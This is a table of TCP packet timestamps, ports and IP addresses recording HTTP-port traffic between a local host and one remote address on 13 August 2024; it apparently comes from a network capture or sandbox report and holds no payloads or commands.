Aug 13, 2024 10:21:14.959414005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959414959 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.959414959 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.959419012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959431887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959444046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959445953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.959455013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.959470987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.959506989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960083008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960093975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960104942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960115910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960129023 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960129023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960140944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960151911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960156918 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960164070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960171938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960175037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960186958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960199118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960216045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960335016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960335016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960335016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960335016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960841894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960854053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960865021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960875988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960886955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960896969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960907936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960920095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960931063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960933924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960933924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960933924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960941076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960952044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960961103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960963011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960973978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960985899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.960987091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.960997105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961004019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.961020947 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.961045027 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.961716890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961730957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961741924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961752892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961762905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961766005 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.961775064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961777925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.961786985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961797953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961806059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.961808920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961824894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.961827993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961841106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.961846113 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.961916924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.992336035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.997330904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.217626095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.217648029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.217658997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.217736006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.217818975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.217829943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.217840910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.217854977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.217864990 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.217885017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.217911005 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.218208075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.218250036 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.218415976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.218435049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.218446016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.218457937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.218468904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.218477011 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.218480110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.218489885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.218499899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.218511105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.218518972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.218528986 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.218544960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.219094038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219106913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219119072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219130039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219141006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219145060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.219152927 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219165087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219172955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.219176054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219187021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219192028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.219197035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219209909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219212055 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.219219923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219224930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.219230890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219242096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219250917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.219253063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.219281912 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.219288111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.220387936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220400095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220412016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220422983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220432997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220444918 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.220447063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220458031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220468044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220468998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.220479012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220490932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.220494032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220500946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.220504999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220515013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220525026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.220525980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220535994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220547915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220551014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.220560074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.220566034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.220590115 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.221792936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221803904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221813917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221823931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221834898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221844912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221844912 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.221857071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221863031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.221868992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221877098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.221878052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221889019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221900940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221906900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.221913099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221918106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221923113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221929073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.221954107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.221968889 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.222542048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222553968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222563982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222574949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222590923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.222615957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.222634077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222645044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222666979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222673893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.222676992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222688913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222697020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.222700119 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222712040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222719908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.222723007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222733974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222745895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222748995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.222755909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222767115 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.222769976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.222780943 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.222796917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223254919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223267078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223277092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223287106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223297119 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223306894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223308086 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223318100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223330021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223335028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223340034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223342896 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223351002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223361969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223373890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223381042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223391056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223401070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223402023 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223412037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223417997 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223424911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223434925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223442078 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223445892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223457098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223468065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223469973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223479986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223483086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223499060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223505020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223510027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223521948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223527908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223532915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223543882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223543882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223555088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223566055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223571062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223576069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223586082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223597050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.223598957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223613024 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.223638058 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.224159002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.224173069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.224214077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.224239111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.302496910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.302512884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.302525043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.302608967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.302618027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.302629948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.302639961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.302649975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.302651882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.302680969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.302711964 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.302769899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.302808046 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.302849054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.302860975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.302886009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.302901030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.302972078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303045034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303057909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303073883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303086042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303093910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.303119898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.303129911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.303184032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303242922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303255081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303320885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.303711891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303767920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303780079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303816080 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.303916931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303927898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303939104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303950071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.303968906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.303983927 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.304333925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.304343939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.304353952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.304361105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.304372072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.304383039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.304393053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.304398060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.304404020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.304414988 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.304415941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.304426908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.304435015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.304455996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.305000067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305010080 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305016994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305027008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305037975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305048943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305052996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.305059910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305069923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305074930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.305080891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305092096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305092096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.305102110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305110931 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.305114031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305125952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305135965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305139065 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.305146933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305167913 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.305188894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.305854082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305866003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305876017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305886030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305897951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305908918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305908918 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.305919886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305928946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305936098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.305941105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305952072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305962086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.305963039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.305974007 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.306003094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.306508064 CEST	80	49711	193.142.147.59	192.168.2.6
